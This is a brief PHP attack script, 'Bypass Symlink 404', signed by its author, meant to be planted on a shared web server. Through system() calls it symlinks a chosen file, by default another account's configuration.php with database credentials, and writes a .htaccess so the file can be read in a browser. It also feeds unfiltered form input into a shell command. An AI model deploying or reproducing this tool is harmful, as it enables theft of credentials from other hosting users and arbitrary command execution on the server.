Bypass Symlink 404

<?php /*SYM404 BY AZZATSSINS*/ @error_reporting(0);@ini_set('display_errors', 0); echo '<center><form method="post"><br>File Target : <input name="fl" value="/home/user/public_html/configuration.php"> <input name="anu" type="submit" value="SYM"></form><br>';if($_POST['anu']){
rmdir("sl");system("mkdir sl");system("ln -s ".$_POST['fl']." sl/x.txt");
$azxs="Options Indexes FollowSymLinks
ReadmeName x.txt";

fwrite(fopen("sl/.htaccess", "w"),$azxs);
echo'<a href=sl>CECK</a>';
}